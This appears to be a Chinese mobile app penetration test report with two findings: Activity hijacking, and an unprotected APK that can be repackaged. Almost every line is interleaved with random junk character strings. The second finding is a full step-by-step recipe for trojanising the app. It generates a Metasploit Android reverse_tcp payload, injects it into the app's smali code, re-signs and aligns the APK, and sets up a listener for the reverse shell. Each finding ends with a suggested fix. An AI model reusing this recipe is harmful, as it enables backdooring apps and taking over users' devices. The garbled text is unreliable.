9 I. M( i U/ Z6 f% N6 A
. U$ N" V5 T% u
% V' E. @$ r- H/ _6 L
. E( V% m% ^; {: E7 t1 @
2 Q9 e" Y' `# a2 E. C/ E; V 表1-2 测试结果
6 d5 t) Y( s: k
k" v h/ A; i9 S; Q1 e: N" i
2 D4 N. ^2 w( G- o7 F n. w5 V
7 S6 R& A; ]/ ~9 V" I: _9 ^ $ n: ^) w8 y9 L
% o7 ~6 @% }8 e' L5 ]; ^( Q w
1 a3 ^! X1 t$ l. F1 \
9 {+ R. p' \1 X
& F) f+ i& a3 `- O& N
0 I0 e( k; Z2 I' }, l
$ y# |8 C3 E; m" Q$ _$ h9 j [ C3 Z3 O& p8 g# W
2 检测结果 4 n: \( y8 w$ V- r, h6 w t* z
" {3 h5 n7 r* \" n: o- ^0 ^
. l& w `; t5 r- e5 Z+ }$ V1 v: R I5 w- X; o
& P1 C; n! Z4 `4 D5 t3 _ o |$ H. r+ j: ?* z% I
2.1 某某某 $ ?; {- F: j* b# H* {
. c* c5 t( I6 U: E
0 s% m- m, ^5 k7 Z! k/ o4 T
4 k6 M- n2 E- I6 f
8 s0 p6 U5 ~% R1 ]7 j3 S& G8 Q- r8 l. o
2.1.1检测目标
% r \: d& o- [# a- \7 N3 a( i# w/ ~: E! b3 z* `0 x- P8 Y$ m
% j3 h1 \7 r2 ?7 l, C+ L0 E4 c ?
# b; n) j$ H8 Q7 T# N! g
, D5 S/ l7 Q; H0 G4 i% k `1 z% U% P+ H- }5 Z
目标地址: 某某某某某某APP $ ?% s! E$ v+ d# m8 B
& z+ F/ l- o0 G
9 y# [' b* ^) w: T/ t: b) X6 ^& i+ f* ^3 I9 l5 ~: ]& _+ g( _+ z& c
0 L6 `; @' H0 i4 \+ T7 ]. X
% a$ S7 M" p5 B3 H4 T 2.1.2检测结果 & A2 i+ _" l5 a8 @5 O" P
7 a# \# Q+ L8 o7 n" i- g' t; R
) U9 ~$ }+ j8 O# o* k& K0 f' v C& i
& O' o3 Y* N! V- u+ j2 F* z$ ]
, N; d j. @4 m! F, @" e8 p- {6 w% L' N
2.1.2.1
, ]1 ~, A }$ r* S
% }5 | z5 L( D7 p' J
% D7 I3 Y+ u, c4 a: a# e) M8 d6 [" Y' }9 v; R
2 M w7 L/ K5 i" a# \: {( E* m2 p* p6 C, A' @+ }
漏洞链接地址:某某某某某某APP H& w( a, ?) _9 J( s3 J% M: e: B
6 A* [! \5 j( g, U2 F8 u
5 X+ E. Q9 ]9 j G7 s& k: D8 }0 k) n" d& X# b( X- d5 L: o" B3 F; r
" o. u1 d7 y; X
' c: i3 W9 d, ?( D; m . `& Z3 ]: x$ d" Z \
. n! I/ ^9 Q- L" |* f9 {
! C# |# ]. r* s. }
6 q, V9 P) E- C' z7 H7 s7 {) m- ^- G - i4 p% X* y2 y
1 `0 H, a$ M! d
漏洞分析及取证:
' _% t) [( d' R; r% w3 {" I F/ ~6 V" d& l2 e" F
& t3 z8 Y. L" y% A) a3 u: [% [$ H* C
* L1 `7 ^( X/ c1 v/ G
( ?% o0 c$ W# C& {# ]4 n
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
( J. k4 v2 `: W' k4 g3 v% }9 g2 ^' O1 A' ? r; M9 r$ {0 C
5 z* a) ~ c r9 b- C3 a
0 y0 E; P8 |% w: c7 P) W! R( W9 |8 v
; @* A; O3 |3 w1 c$ H2 V$ L, n9 `4 t- a/ U5 p6 A1 @7 i, n. I. V' u
6 j/ `- j- M2 h- Y) ]6 g0 d
' A8 V$ p; ~2 o$ J3 t
- ^5 \* g" ]% E# `
% ~' d, e: j) k+ j
/ n6 b! L: k* ~2 a$ v
/ k) ^: m3 R7 D4 z J7 H
; e# F) E" S+ Q' v3 K; h; x
2 m6 S$ K3 w4 u) u# G
9 }+ O* V) M4 s1 h% y! x) R
/ t9 v0 A0 W7 |2 h$ h / p7 J5 c, B! K6 q" s, s( @9 l
) a, h+ o' O+ G
0 h! L1 Q- A/ p5 n
7 \" K' ]8 h1 [# `# t
, w# [- @- W" M" D4 r7 }' P. \% O# {9 m
& _! ]9 v$ N2 z8 U7 C
5 y; J$ |3 _$ d; ~! l* F5 Q1 v; R( V3 c1 W' v9 a. V
3 V+ @6 _3 h; X5 i" z
6 Y9 y1 S- _+ B3 H3 |
. M# E1 i) w) E" Y+ D
& m0 r X8 O1 V" H; K5 q
8 }# I7 s( q; L4 a) Y9 p' w
* q; x. x0 [8 ?. f- X
/ n$ s) c& l5 r/ d8 g; _, `9 R' U1 {" j7 N' n* H% Z
+ y# r4 |# G; P* V
* |7 U' r$ e1 C% a7 r U7 _& ~6 z
P7 H- V8 w+ C" G( Y$ i6 P# o: o) n$ K: k% r4 W$ Z! N# B
漏洞危害:高
/ @1 h; e/ j" M- N0 d4 e: T5 y9 i. w8 Q) u6 I+ j) Z# M
; M6 k( Z3 L, m9 x! |
% ~1 X. H8 p6 E1 w7 n5 _
+ I. O! D5 K s. v7 ~
" ^; ^' z' T0 o6 l# h* |2 R( q
9 Q6 b+ _/ x# f# j, e) F5 |6 a" O4 l/ w
6 I" w$ j' w" v. U3 y
3 i4 k) a3 [. d" { N; i
9 y2 u* _ k/ A. W5 }- E0 s! u
2 s8 v& B) D! c/ z& K. ?+ n6 B 9 m! _ h, C: i; _- M
" S8 C \3 B8 y3 c& U% @
; o% Q5 G& s' h2 x9 Z, ~# M: ]
* s/ ?" O: ]1 X% R 严重程度 0 m& \1 h0 f" T- e2 X4 q' N1 K; s
# W9 w6 n# K& D% c* p4 z , L2 G; |3 j$ {: f7 f) N" Q* p
. Q5 z" i8 B/ X
|
I9 t8 z: x5 @# j, g. L1 v+ \: i: O0 g8 {4 F
6 N+ J4 t5 A" w" W$ k9 o
' |1 g& X! v* Q9 w0 |( q: ~
5 f( K* d0 y+ e; c4 {9 A! Q
( s5 y) W4 c( @ 高
, v p/ x; j% Q) V2 c
5 v6 G' {# H; b I$ p0 d2 G% }& Q - o* C2 E- O; m9 ?( r" a I5 n
$ z* e7 H' L* B, Z% N | # V& u4 ^, N, z
% u3 _9 H$ E' `% T) ` e$ ]" Y
" ?' @3 b7 B s5 N) \' x n/ v3 _, l3 S, [4 g% ~2 R
3 O, W1 y, T& j. {
$ L% a( r3 x1 D" q5 J
■
0 z1 s6 ~# U) \* c" a n* v- m( U1 i+ ~
6 [& g( T# R/ V2 J; h2 n4 Y- b6 x, o/ z6 w7 R2 C4 e
|
, U7 K) b( ~" i7 I% z7 i& c# A+ Q6 Y: V
5 T( G, m' x+ f
/ f, F( ]# l& _; ?/ w* l " s, ?/ I; Z$ g+ K
8 q V$ ], B# _0 n) R 中
0 r# L7 A8 w) g( ]0 P+ j' K+ {! m, B2 i" z
. }( J0 b. H- t2 L' [2 m* L
# `! X% W( ^4 D3 t8 q. g& R% K4 R |
' R/ j9 c1 ?- y6 G- Y
% T* m. d) E/ o: w4 z- j % y/ y! |" J/ \) U+ D# I
6 v2 e9 t- Y# T1 q( l# x
* ^, _+ `0 B' b1 y; K7 C1 z
4 p6 i0 X: h$ I8 f5 \5 @
2 G( _' c; ]* c$ o# y3 Z, j8 h3 |0 ^, ?% o8 S% K3 r. Z
! R e3 q2 j* ^0 f" R/ T& w2 Z1 h3 E9 q. K" ?0 |; V& e3 [
|
5 D F% G& j* D( o# ? d
& l1 Q H! d4 Y 2 q a1 b4 x% ?1 z9 B
- c8 y' S% A: ^) E
2 i( e+ K/ V2 l& L
( ?( l" ^2 E) c/ o2 m& k 低
' a I2 L& @5 x0 Z/ T
$ ~8 k4 B3 u) R- c8 G# P+ ]
4 |* Q/ `% v' l3 F" N2 o6 L4 C1 @: V0 q P |5 Z
| 0 J6 e# E z. J
, W1 m; J: j# V c) Q/ O / F2 j# L# m& G3 t- A/ q
# T0 y9 o" ^) n2 F [ T- N$ m: }1 l$ o" b' {
6 Y& s/ r9 B8 F6 Y+ t/ n
5 P1 `1 I r' S3 Q5 U
- A$ ?% V9 z) q1 c- a" R
4 A3 I9 [! ~: M0 h# [# N, j; R
4 B! d: l/ J* X& v, I | , V7 e2 a* g+ \) s9 k, a" G
& h7 W1 Z! C( U- D- [) e
) W- J/ {' @/ v) w, j) M" ~$ m' x* o& q
, W2 [% [) C( q" ?$ `% n1 J0 S* q5 j
8 Z1 c0 r1 t: g g K& E7 ~& y/ h7 E# w q
9 [/ |- l: l) u
0 p1 H5 e. n3 X' `2 W
: ]( Z$ d- J. F' u( {
& ]* b7 j2 U, G) Z" x
! g6 E" ]2 U U( b
3 I3 ]8 ^2 y; n* V h( ]& a1 F
! d- G) u5 X$ M% E
% F) K8 F, R" i0 L # I f; Q! J( L
" D% M- V2 I$ z" r' m
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
3 P0 E" D; E+ ~3 y/ C1 n: W4 X* e O3 e4 t
9 X. `) {4 N6 w% ]$ G
{ t7 s2 R& L) f6 \2 F
& n& V) g& T/ G8 t2 G+ g" n8 f
+ o3 q5 k4 I4 ] c
6 C- g3 \4 ~' o1 t+ o( z1 Y% E8 V* b
+ N( J# l+ N, w1 \% b; {
" p7 m% ?5 Z; R/ s
1 E! ^* Z+ N0 g ~! C! b9 ` C; `: v
$ ]- Z# a$ G, G$ X* s. S
6 l7 ~; W" C& i* _0 g ( X4 Z; _1 B1 P2 d
$ _+ }, m: T5 E3 |. A3 d; u: N
* q# _* E0 u( @( Y7 H& t
% V! @( H$ T- J9 B7 J1 E: k6 w
1 Q. ~9 ?6 ^+ P9 J. s, C
- V+ h# Q6 f4 D1 F& Z* i 2.1.2.2 % }, A; ~3 X, j( B
2 A$ v; e" D y4 C# y3 _: P% d
) o w3 d b# _# [' e7 i: I3 {2 q# E
5 q/ y3 y9 R( l6 q
3 j" v B- {# J8 O* T$ n 漏洞链接地址:某某某某某某APP 5 c* u3 I/ W+ Q2 |- M" c, f `
" g+ t0 d+ W& I' d8 h! f y
' S2 h/ i9 `. l7 \% ^
; ?3 e/ x1 K5 {! U, ^ + e V, A+ s1 C
" {" d3 h' Q& h! i
漏洞分析及取证:
# v% w6 K% V4 {6 C9 _' [* b* s4 B
' v u4 ^- F5 `! m6 u
: |1 \# K' E1 D" |4 b, `" d! T5 }: K- ~# r+ t9 @$ t* C
% V$ o) }2 d6 Q/ ^. A
' e a2 s* H, m* B; K& F/ @8 b
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: : x$ k; J4 ~7 k! b" S7 ?
9 t4 s) Q; C8 h# x! J) O
! {4 B. A$ j1 Y# l, o; \5 R
! X6 M" ~' ^# x0 ~, P
3 z9 Y& j4 r' }9 |+ t+ j9 i+ n5 a4 ?9 I( d2 j1 ]3 I; z4 M! h
用Metasploit 生成木马 apk . @2 Q/ V2 W0 p3 t8 C0 E& D
4 I- B* u6 c: }( [
! W/ k- w8 z$ j: T
, i6 Z9 l( B$ P" Z$ l5 l1 K. W
) _' O* E) I% v% A
* L6 u" |5 a5 o msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
, o2 p3 X" F% N2 `& M6 G& F
" L r( n! h- c+ F
" E2 @4 G- R3 ]$ P2 H! i; z2 B! }6 `5 O6 |) {7 K8 F8 y
" I; Y' A8 l; |4 i3 O* J; O3 E! h5 j* z" }$ ]; i/ D
反编译目标apk和木马apk ' {) p7 n9 q$ y' V, F6 d* b
y# {1 U% q$ P8 z3 c8 R0 S1 |
3 t# |6 Y; M Y0 s& K3 f5 p
7 W" Y7 a' n% W( C
+ i, |% q% v; g& e: m4 V$ U) n/ H, `& K+ V; x4 H2 e- I* Q# p
apktool d target.apk
s) w: k8 u+ `8 J4 a" f2 t- C
; X' K% {% n0 v* N$ K3 v% v apktool d cockhorse.apk
0 ?5 C/ r/ o1 x8 d& V3 ?
, `0 k4 Z: O( C
1 L1 ^- \& t8 G# ^' d4 D
0 p: D$ T6 N# O0 T 2 V8 j2 R I( [" k( M
7 L7 i9 ?1 s' W v. _! [! S5 q
木马 apk 注入目标 apk
" B7 q- ?. b. A( t4 U3 W
# o S* o8 s+ Y0 K P: M
3 @/ i; R) o) H$ w. i! R" v6 I7 d
9 c" ? [( \0 k+ M& ~
]; a- C& J$ i, q
8 y5 u# t4 m- a. w! d0 Y9 {/ t) O' o 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
: h: Y* B. ?. [
, l0 O" X, @! B4 ^" ^, A/ ^( _/ s# r invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V & y! P C( p7 v" s% ?9 V) l, ?" M. x0 J
- J3 _( H6 }' s4 N4 o: f
$ J; E/ n* k$ d+ y
5 N- b. d+ A. A7 u- k
; v# C; t f2 p" P ~5 |$ i
% H0 f* ^" i/ r a, T4 ^ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
/ a* T( @" ~5 T- m
/ P& F7 p0 o/ u: K8 {
$ ?0 F1 q( m7 z0 |% c
+ {# v$ e3 u L; }6 W0 @! S 8 a( m7 O: p& n6 ?
, B* O9 O9 c8 }' _/ ?5 W 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
: w4 q% a, P4 ^
. c+ k* L2 o- u' t
5 ]8 S* a2 ^3 E+ i# C+ L+ o }5 \( {6 X6 F' t {8 P
- e; @- L9 `) D# ~" e. ?
5 ^: I& E5 F/ O D9 @3 F4 H7 S0 t3 ? 回编译生成最终 apk
$ k7 ?4 @0 G8 p# y+ ?$ Y. P" n3 E/ ~0 Q; ?/ }/ o; L; l
+ E7 h1 l* [5 Y4 M8 R" l
4 o% _* `1 D: T- `7 b
: ]7 o$ t; P5 u- v3 j! F! q" ?
H- }& m) N0 P. v7 q 重新打包 1 T6 ]9 I( X3 D2 q% m7 R; C2 b
) W+ ~/ z& x6 h0 z
* X, F9 W; y$ E8 p0 C
3 s6 w M/ z2 {, _1 W. u. ^$ H & X5 Q0 Q- R! s. i! t
# K) ^4 r! i9 f, r apktool b -o repackage.apk target_app_floder
/ b+ x5 x8 t: A i. v C8 h" O/ m
# N0 y. z; O+ { m
% u4 j3 `' q. Y6 `" Q h8 f
% ?1 z$ Q0 ]! l/ c; t
7 G8 b) k' h7 Y% d4 z
创建签名文件,有的话可忽略此步骤 4 d. K. q- s% q0 D" a& C
. r$ D! }/ W; C% F' w- \5 }
) u2 p+ \, o2 y7 V* n2 R, I8 q
: z6 a7 V- _4 A% m+ i8 Y
) H% X1 O9 ?9 o: O4 D# l1 o4 Q$ ]6 E7 ?
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
. F. v: s" U5 n$ m" \, P1 I, s8 c: }. U. Y# N4 o" z" U
- I+ R/ o0 G: N) K) `+ h0 _# C
! ?7 @! K9 C* @, p' v; g+ g( U
' ]- y7 @! J/ r! O& x9 Y
+ Y3 J0 M( P" A5 g5 Q( j 签名,以下任选其一 : J* W- W9 X5 }) y
/ o8 o& F+ j; h0 k2 b- V
- E3 Z/ ?! }6 F4 w( S# P1 S' ~
/ o: J; h% X+ t( }% G( |/ Q/ z' u$ n
" G& P/ n$ g2 }' d0 _0 p) J" A9 W
jarsigner 方式
8 y8 V3 Z, Z& F( p% m) p
0 ^, Q |$ h+ y/ C* B
$ `6 s9 \) J) Z, @# j& L
4 {: @3 k; D" P/ D+ N8 \
5 z* `5 {1 W; `$ g0 O! v$ o/ \3 A0 v, S# k% |: I
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
; A! n2 J$ ]! s1 ?4 l
& ` _9 i X( \" h! u8 E
1 R# L7 h3 h H8 r# p
" v* y* D8 G- F# ~" K8 R
5 Z0 b0 i6 J1 q0 Q
* l1 V( _5 r+ | apksigner 方式
& n" I; Z: q# ]7 V$ g
" \8 \' {/ X" |# s" ~
% u- N" o; r) f/ o: x- ~* `/ `) ^4 f: D& [1 s% [
# H0 o: r' D9 }3 l
0 @# c% t/ N9 o7 h* K
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
: F# q- E& J9 w2 D9 U8 G& M/ ]" B5 f/ r
8 t+ z4 B* G/ E, T T5 s3 _9 _: G' B& L! }# H
8 N/ C& f3 B# \: W
, ~ X3 m, F% `- j 如需要禁用 v2签名 添加选项--v2-signing-enabled false
" E/ c2 X& o) ^# l9 B$ ^2 u( g$ J8 n, M5 o: Y1 P1 |7 ~- d( {; d
" c7 [ r( h3 w1 U6 v) Q5 n0 l
: @; x+ s- ]8 }3 L) N9 z
2 \+ p, `4 o8 u8 d
% h; e/ p4 ]" { 验证,以下任选其一 9 K5 q! H, \; W. A
! V; f9 {3 [4 S8 d! l1 e) W
( F' g. [. {6 q# r/ F* F) E
& p8 x) {) B% y5 R 0 |! d* d2 Q m& w' O* S
+ f; Z- _6 b Q jarsigner方式 9 C2 ^% @$ r- p v
% R$ O. a/ Y) Z. A
/ J9 O4 x g! h5 x; E( t& W& Y
. j: M# z0 p: a- m7 ~2 \- s
: Z M) V" I0 ?0 V
; p1 y5 l a8 n7 i6 f) A jarsigner -verify repackaged.apk 6 C6 ~& ~% u: c8 d9 C: n
- `6 y% M$ t9 X8 j
& E3 S% r0 I7 X% k5 ]7 L$ K& H
* p0 H) s# O% B" V% _, ]
; H/ N/ Y/ f; Z& I L8 [7 p
& \8 W- h5 S* k; x/ t2 C. o apksigner 方式 6 H& U: z) X3 s, i& J
6 I; A, [# \$ E" K8 Q; F$ U [: {
4 M9 t) {) o0 u, J9 k8 A, k1 ` i, z
9 W6 t) L# [& @$ b8 \
4 Y; ^. W" ~" x( Z
apksigner verify -v --print-certs repackaged.apk 7 q! s/ u* }" ^! S
9 l& z- |7 y( A# Z1 U
- A; V2 b7 D7 j. H
& V9 V H: {' K9 U% P7 ]
- N s1 M* o6 v, h0 J/ B0 R4 l4 H) X6 t
keytool方式 8 R, ~0 ^8 n5 Z
: x" P) Q: {7 S! g8 a/ E
0 m1 K( p: U0 J- t/ I3 p0 ^* b* C \$ j' W; b
& `! k- T) b4 u7 H) q
L- ?; J4 h+ W* S# F. c0 T1 u- ~- {
keytool -printcert -jarfile repackaged.apk
" m2 g% q+ h- u: ]( z& f0 S7 ?7 z
. m: o& O, Q$ s
$ s& _4 [- ~* W+ Y6 l- [+ l+ ^6 b9 r( k5 [' u2 |
( r! y5 s2 @ }5 y) v$ L8 Q
& j0 i+ [% s6 \ v
对齐
- k3 f6 z) |* e. Q$ P1 i' g# w
: a# m/ W+ V& f5 W) M5 f
1 [7 p8 b" Y6 p) t4 T0 k8 f. w: \/ G- Q: i; V$ [
) v! q7 k$ c( l/ l* D& J4 M' h" T1 E5 q+ @. \
字节对齐优化
8 i; D" F0 w9 b% W' w. A
# Y _& n4 Y) G: z2 t$ G' d
2 O- p" h1 ~/ @: K; D' v% g
, H S! A; r9 w: B O5 E/ R; _5 e$ A
$ X0 z3 R' p8 V3 D1 {- |$ X* x# @, j$ ~4 R0 ~
zipalign -v 4 repackaged.apk final.apk * ~) ~6 B3 p) L2 X( ?
) X# `% r+ i9 E7 c8 `9 x
$ U' g! x7 A. x
; `& L5 h8 C/ I % c" q0 L& t% {) e& n8 h* y) Q- D4 @
0 ^- ~" W1 T2 C s; `' l/ M; H 检查是否对齐
8 X6 I( E; R1 l
! J s; w z I" Q) Q4 a3 X
* n9 I: ~. n- f# [* y, g7 S; T6 s$ c5 ^; P9 o- @
6 i! A) m' R, N: M- Q6 L: F
! D& S2 C% e" w! y4 w
zipalign -c -v 4 final.apk 7 _0 z5 r$ w3 G" l" |8 \6 m
. H7 X" {1 {9 V P, h
) c* J4 p5 e- P" N! x/ n7 n- `
. o$ o S/ R) x- z( Z* }3 R& m" f! w
8 M5 L& `2 `. Q+ E. }4 |0 M
$ ? C1 \' O6 f) w Q: S 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
" s' s1 h, V! d6 c; x% [: C0 g# c7 }% `. r y
( u# r2 T: j$ Q$ } P* p9 M k& ]' S0 m9 G. v H+ F9 i( J
2 q s- l8 o8 `
0 b* g3 w) O# [- c% A 启动Metasploit控制台,配置参数等待上线 p2 ^* o. s5 i% w; |; s
4 h+ Z# u6 J) c6 R& t7 R/ M
& T: _) M' E/ g0 f! `+ o# N
% g; ~6 b3 {0 v2 Y3 D! O # Q$ g& T5 v/ {3 |
% S" C/ `% r' b& @* ^" K1 M 在终端依次输入如下命令
3 A2 g6 O8 i; @& G/ S. O0 u1 ]# m; y" ]
# @, _9 B- b' `, u
( V9 C7 g$ _8 r: e. |3 m$ {3 n
: B% Q2 {/ h1 G4 ~ E _" R9 l5 C& w$ x( B+ C, F
msfconsole , J! f% a# J% }. Z8 G/ t4 F
: U# H9 _ Q% i% @2 [" `. W2 u6 A
" [' a5 O) F! n6 a3 b. j
: m9 M* e+ i* H& y- v" G7 ~ W : E2 i, v1 |% A
& T6 D. v( F* I5 h: x5 t use exploit/multi/handler
- G+ s3 E7 ^( M' o+ a1 l/ @3 @ u2 C8 T* L: J4 E( B4 U$ ?
$ r" z( T9 }. P- [ F1 E- h
0 L3 f, h! y6 P1 h9 u2 o* n
6 Z: N6 N& l' J2 ?+ m
4 j, \( _0 I7 j& m/ h. C- J
set PAYLOAD android/meterpreter/reverse_tcp
0 m# s L1 ]" e/ r& j! D8 f3 | o# c1 O" G4 d+ R
! p9 w- f. ?. D+ n8 N
, d+ ?) ]' s5 J# j
' R; y1 k, V+ n2 w% l0 s
3 u! h, @2 c8 ]7 T3 } set LHOST 192.xxx.xx.xx ! M$ H- {; O( ]& I3 g
/ u9 d- O, z `$ q7 U5 t) ]
" I8 |" r0 Y% S0 L c% M% C
( Y3 z- E4 `% R2 D( ]8 k- s! _# C 1 Y" v- w/ B/ V. K; i$ o
8 }5 _, i% W/ E7 z set LPORT 4444 ) m+ j( a. L2 H7 _
) s% C" C1 }8 {% L) T
; k2 N" o) J; X- Z
4 y" d/ h& q6 |) i0 O! u$ U
6 v9 b2 s, k/ R$ V& M0 h1 ?" Q, P+ f8 |! |* }* s7 D8 j
exploit ; r. H- `( V f$ g$ |; L, ?
7 G8 D5 ~+ P+ e# E2 A6 _' h3 r+ S
2 c, P$ p& F( ?' X& f+ ~
$ a% m; Y' J0 q% ^+ L, `" m3 a; g
& [& J0 r# g: c9 }" v9 Z& [* E" s `+ C( k) ]! ^5 [; w; J e# k
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
4 i5 a3 `( Q% A" f8 O+ m0 ]
- u9 B- X* U: f& |
) ^1 o7 y* `% Q$ L# ]6 D6 `; y
; i3 v: `" g2 G C2 k- X ) X8 M/ h2 R. Q: \# H4 N5 A
+ e4 P& F) X7 c 漏洞危害:中 6 \; O" @' f0 X4 F
$ L& u/ t9 [; t" S8 A) H7 ^
8 m& V v" W0 _6 l! P9 \
5 l! m; N k5 I5 x& \" X, s " d- y" K. S( ?9 P; [/ b) _3 @3 ?& }
0 C: H! b( \/ H9 K) i5 r ! C' X7 }' H9 D# T, c3 d
; u# Z: n% f" c) E: V$ Q 4 [; B' f9 W" B
l" p( B" J+ ?% ~3 l! W( Q" M 9 ^( ~. a4 O, k
2 s7 }9 N) v# C
/ l) x0 M0 S- u- G! K- j. r
/ G8 u5 A2 _: a) R7 r5 w / h. w. U6 O+ W% \4 A
$ L4 x7 X$ I) a' r o/ [8 h
5 N( d$ Z1 n( T; o6 \3 b
/ T$ z1 T! ~$ I5 x" s2 s# x
严重程度 + ~; @' P" r- ^+ Q" l# I/ O
; q) [- K1 G9 p$ K, X+ V 6 B& p5 A8 C2 w E* K
[) V m; r& E w+ b |
6 |" b; z7 h% J2 k& L' y& y1 m, X. ^7 m
2 [* ]8 v& e( Z- c) K0 X2 y7 |( ?9 d( r6 }" t" a
+ _# P# M+ R0 x9 S9 ]
. f( j6 J8 @: i; [) R* ^ 高
$ r+ c7 Q' d& A- p. X8 X, h7 O& f" k" T; L- w& J- P
* [1 d' r$ E' C5 T
- U. F! H @' M2 |6 t) m |
' F1 r9 z5 h% R' O! O; f; i$ d$ K- V9 j
8 k+ G$ @& M! C9 m/ U, i. O5 g ) p- R5 s' Y! \4 p, N
6 s# s- U1 o6 d* e! G6 \ 8 Z7 P8 G% b `2 R
; G2 p# m. ?& S4 i; ~ ■
7 f$ k7 O2 F: I
- y7 c$ O2 y! z( [% q( B
; b" l, X) l- `2 k5 ` O3 s0 Z1 X$ t# T6 n3 n" ~- C
| 4 I9 a; l. n/ s$ Z! b4 D( d7 X: ~
4 Q2 }& c8 G8 M& O. y6 z $ V. D' N0 B' |
; i- [+ \% c$ H( ?% m
, |, M' y. L: z9 t; X+ ?) t
6 p5 v8 D: j e( U3 w" P p. C 中 3 m) q' E' l( Z+ S
$ ]- O% k+ k3 D3 H
/ _ `3 v0 x! k3 d+ w- H1 P7 t
/ Z5 l% l) R8 C
|
, K6 C) j7 Q7 _: ?3 [* O
1 G' Y$ P% m3 |, S! J* t ! m3 D3 a" U1 |$ {
5 c, x$ n! T" f, y4 a4 b
0 Y! ^* G/ v b+ @& }& [& v. ~; x3 l% ~
0 Z, g0 j0 E |/ e- w4 M
& A4 a( ?: M0 D0 |% d$ O. a
7 a7 a8 Q# \* f9 B5 @- k- R* N% G; C! j2 ~; A: M
: u$ X7 v! Q& p- P5 i6 g! j
6 A q# @$ Q& A4 R( [
|
5 k( H" r4 v9 k9 e. c5 s; \- b$ U. e+ z4 g9 t# ~
. y1 t+ z# u; E. p/ @, g6 x
+ ]$ S# ~1 p$ w9 j/ R
% I: J% r# Z- \7 n% g2 x9 ^
7 f: N0 L5 W- J* p' k 低
& A( X) {: B m4 t: _7 T
: ?. l& Q! d* p9 i1 M8 y 0 ~: M. D" |- ], C5 n4 g
- M' Y5 f ?9 g3 f0 V% Y3 V |
+ Y6 p' W4 F R/ A4 Y
: Z) c/ h% b$ U8 f2 X9 w' Z
& _ h2 u5 J, x5 L/ ?* C' e/ r0 B
1 b1 Z5 e8 ^5 g8 e2 v " m4 b/ C& L/ S+ r
1 n. Y7 I2 d% ?
: ]' K& O4 @8 ]
/ Y7 F8 e2 A0 ~+ a $ y* x$ z0 Z, u
" h2 {3 {) a, O$ t4 l, V" C
: O ^0 S( v6 j/ u! n* i, P- I% }. Z! U% k4 @- L' Q6 q
|
' _' D* a0 T7 }9 |
+ Y6 n4 ?+ n! B1 O i& ?" j( |" e
) K* j0 h, i" ]# O$ Z
) [3 V2 Z5 S6 ]3 K8 q/ K8 Q ( b! Z8 m- S5 u1 Y) J
+ z6 l* Q) M2 I9 l
$ R! `0 i0 Q. c6 f* C! q) E2 ^ v& c8 f7 Q6 z
" T! V4 k7 z, \$ M1 `% W
- \, t) }% s/ u W: ^) h$ Z7 x
/ M% @+ j( a" s, h! `; |
' O7 ^- P9 V: O2 M
. \" @& J, n/ O+ Q5 S# c P7 n9 s6 b" G9 t
0 N. }- s% D6 `9 y" j8 Y# h3 }8 L! w8 ^/ L ^; G
! `+ _+ z: [" C' s
5 ^. t/ h# u( R3 b/ u 修复方法:
3 k; t- l$ a5 D! ?8 F- e' H; W$ v1 U8 {+ u1 O
1 I8 Y; F* D6 i; J& g( i/ A, N
1 j7 }2 |( _! g# P" } - E3 @( A# E* G/ p" n/ o
( V3 Y- X, ^1 }# ]1 ` 1.在 APP 启动时应做签名校验防止二次打包。
! ~4 N c2 E5 u5 L( X+ N9 {$ _
( n0 M) L K) T 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
. |$ F6 Q& c4 W: m: f; f; O! J( h3 q) E- @1 i
u( C1 b4 o P9 T3 U9 [
. z, O4 i6 l5 b+ m& F
% K5 R& u- S6 |2 s: s
- X/ U. E k1 F
! |: _4 L5 a( r9 [# P$ a4 z+ G; X7 G; A6 Q, O: ~: ]7 O3 m: K
* H* y; R$ s4 J- M2 {5 q
. r- z9 k1 Q+ O+ B+ E. ?( r1 O
) M8 U! Y, I. u( N, [7 t U$ [) _, p Q( y( N9 a
5 V& r' o7 p0 E9 ]5 P/ o+ R- y+ m8 k& t' t2 z0 s
% A+ A% ~: Y# t$ k- ~) p8 k! i
4 W3 A; ^( V. n4 k# ?6 c! X
4 Z8 N7 J4 h |- A7 V' f, H$ N
7 F( d+ c `7 f3 y" z) N' n
3 ]+ y6 ~ W, I |
0 J, T* B1 U1 l) k- C; X- {